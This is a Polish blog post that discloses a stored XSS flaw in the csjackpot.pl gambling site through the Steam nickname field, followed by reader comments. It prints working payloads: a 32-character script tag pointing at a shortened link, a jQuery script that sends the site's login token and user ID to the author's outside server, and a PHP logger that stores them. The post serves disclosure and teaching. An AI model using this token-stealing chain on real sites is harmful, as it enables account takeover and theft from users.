Błąd XSS w CSJackpot.pl

XSS jest techniką wykradania wrażliwych informacji poprzez umieszczenie złośliwego kodu w kodzie strony.

Próbowałem skontaktować się z administracją csjackpot.pl jednak nie uzyskałem żadnej odpowiedzi.

W przypadku csjackpot.pl tego typu informacje to cookies

  • jackpot-token
  • jackpot-cookies
  • jackpot-login
  • jackpot-nick
  • jackpot-trade-url

Najważniejsza informacją dla atakującego jest oczywiście jackpot-token dzięki któremu jeśli znamy token innego użytkownika możemy zalogować się na jego konto w kilka sekund.

Strona oferuje nam logowanie poprzez steam , po zalogowaniu w górnym menu widzimy swój nick:
CSJackpot.pl     0.1€

Ciekawe co się stanie jeśli do nick wrzucimy

<script>alert(1)</script>

.

Efekt:
Bez tytułu

Spróbujemy teraz zaincludować nasz kod JS’a. W nicku steam możemy umieścić tylko 32 znaki , mało , szczególnie że musimy zawrzeć w nim odrazu ciąg zamykający skrypt javascript , ponieważ przeglądarka zrobi to za mnie a ja oszczędzam ilość znaków , cóż trzeba korzystać że mamy już troche inteligentniejsze przeglądarki na naszych komputerach ;).

Kilka prób i mam dwa sposoby:
1.

<script>$.getScript('link')

2.

<script src=link>

W 1 jak i w 2 korzystam ze sztuczki z znacznikiem w drugim sposobie dodatkowo pomijam ‚”‚ w atrybucie src ponownie przeglądarka sama wykryje link i przeparsuje go a ja oszczędzam całe dwa znaki 😉 !

Przygotujmy najpierw plik JS który chcemy wstrzyknąć

var currentToken = getToken(),
	userLogin = getUserID();

$.get( "http://darkgl.pl/cookies.php?cookie=" + currentToken + "&login=" + userLogin );

Jest to bardzo prosty skrypt pobiera token oraz userid i wysyła je poprzez get do skryptu php.

Skrypt jest dostępny pod linkiem

http://darkgl.pl/script.js

Skrypt php jest bardzo prosty

<?php
file_put_contents( 'cookies.txt' , $_GET[ 'cookie' ] . ' | ' . $_GET[ 'login' ] . PHP_EOL , FILE_APPEND );
?>

Aby całość zadziałała musimy dodać do nagłówków serwera na którym jest plik php.

add_header Access-Control-Allow-Origin *;

Dzięki temu skrypt js może wysyłać zapytania do innego serwera dostępnego z innej domeny niż jest wykonywany skrypt.

Niestety limit 32 znaków nadal nas obowiązuje
drugi sposób tzn.

<script src=link>

daje nam 32 znaki – 13 znaków czyli 19 znaków dodatkowo musimy w linku musi być ciąg http:// czyli tracimy kolejne 7 znaków zostaje nam 12 znaków mało bardzo mało.

Poszukujmy teraz jakiegoś skracacza linków np. goo.gl niestety link wygenerowany link zawiera 13 znaków

goo.gl/PNy9w5

o 1 za dużo.

Po krótkich poszukiwaniach znalazłem serwis is.gd który wygenerował link

is.gd/ru6YiA

12 znaków , idealnie 😉 !

Cały nick który trzeba ustawić na steam to

<script src=http://is.gd/ru6YiA>

równo 32 znaki.

Społeczność Steam    Edytuj mój profil

Po zalogowaniu się do serwisu kod HTML będzie wyglądał tak
Bez tytułu

Efekt
Bez tytułu2

Jak widać zapytanie get zostało wykonane informacje zostały przesłane ;).

Zmartwię teraz tych którzy chcieli robić złe rzeczy chat i inne miejsca w których jest wyświetlany nick są stripowane prawdopodobnie przy pomoc strip_tags php.

9 komentarzy o “Błąd XSS w CSJackpot.pl

    1. Czytaj dokładnie artykuł ,

      Zmartwię teraz tych którzy chcieli robić złe rzeczy chat i inne miejsca w których jest wyświetlany nick są stripowane prawdopodobnie przy pomoc strip_tags php.

      Jeśli uważasz że opublikował bym publicznie coś co mogło by spowodować straty finansowe u zwykłych użytkowników to niestety mylisz się 😉 , tak więc jest to ciekawostka , artykuł dla ciekawskich którzy chcą się czegoś nauczyć 😉

  1. Co mógłbym poradzić gdy po wygraniu zdarzył mi sie błąd mianowicie odrazu po zalogowaniu wylogowuje mnie ??
    Prosze o szybką odpowiedz

          1. Pisałem do jechać parę E-mail na fb o nigdzie nie odpisuje to szukam jakiegoś sposobu na odzyskanie moich skinow

Dodaj komentarz